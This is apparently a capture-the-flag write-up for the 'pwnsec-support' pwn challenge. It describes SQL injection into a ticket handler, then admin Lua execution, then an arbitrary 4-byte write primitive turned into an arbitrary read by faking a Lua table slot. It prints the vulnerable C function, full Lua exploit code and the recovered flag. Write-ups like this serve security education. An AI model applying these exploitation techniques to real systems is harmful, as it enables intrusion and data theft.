pwnsec-support
SQLi into a bespoke register VM, then a 4-byte arbitrary write turned into an arbitrary read by type-confusing a Lua table slot.
FLAG
pwnsec{1c7dd69dc0e9b1e9} Pwn | 142 pts | SQLi, sandbox escape, type confusion
Overview
ctf_sql.l3af is ~11.9 MB of bytecode for a bespoke register VM (l3afvm, “L3AF”) implementing an HTTP ticket-support app plus an embedded, mostly-stock Lua 5.5 interpreter, all running as guest code inside the VM’s own 128 MB flat memory.
Chain
- SQLi in the
/ticket?id=handler (the only handler that does not escape) — UNION-select the admin’s password hash out ofusers. - Log in as
rootwith the leaked hash → admin session token →/adminruns arbitrary Lua (load(code)+pcall, output =print()). - The sandbox exposes one native primitive to Lua:
note_save(idx, val). Advertised as a ticket-notes helper; actually an unauthenticated 4-byte arbitrary write anywhere in the 128 MB guest address space (mem[idx+16] = val, only an upper-bound check). - Turn the write into a read by type-confusing a Lua table slot: forge a table array slot so Lua thinks it holds a long-string GCObject whose data pointer is wherever you want, then read that “string” back through Lua.
- Use the arbitrary read to
string.findthe guest’s static data for"pwnsec{"(the flag’s address is not fixed — deployments reseed SQL data, shifting the layout) and print it back through/admin.
Key primitive — note_save
int embedded_note_save(lua_State *L) {
int idx = luaL_checkinteger(L, 1);
int val = luaL_checkinteger(L, 2);
if (idx > 134217728 /* 0x08000000, 128MB */) {
luaL_error(L, "...");
return 0;
}
*(int32_t *)idx = val; // raw absolute-address 4-byte store, no lower bound
return 0;
}
// empirically: the write lands at idx + 16, not idx
Read primitive (Lua, built from the write primitive)
local function read_at(addr, len)
local fake_ptr = addr - 0x24
note_save(fake_ptr - 16, 0x00000045) -- clone a real long-string header
note_save(fake_ptr - 12, 0x00000000)
note_save(fake_ptr - 8, 0x00000058)
note_save(fake_ptr - 4, 0x00000000)
note_save(fake_ptr + 0, fake_ptr - 0x20)
note_save(fake_ptr + 4, 0xff001014)
note_save(fake_ptr + 8, 0x07003667)
note_save(fake_ptr + 12, len) -- the length that matters
note_save(fake_ptr + 16, fake_ptr + 0x14)
local t = {0, 0}
local ta = tonumber(string.format("%p", t), 16)
note_save(ta + 0x3c - 16, fake_ptr) -- t[1] value slot = fake_ptr
note_save(ta + 0x44 - 16, 0x0354) -- t[1] tag byte = long string
local ok, v = pcall(function() return t[1] end)
return ok and v or nil
end
Result
Scanning guest memory in 64 KB windows for the "pwnsec{" prefix found the flag at guest offset 0x1caab0 on the live deployment: pwnsec{1c7dd69dc0e9b1e9}. The flag is instance-specific (re-seeded per deploy), so the scan re-derives the address each run instead of hardcoding an offset.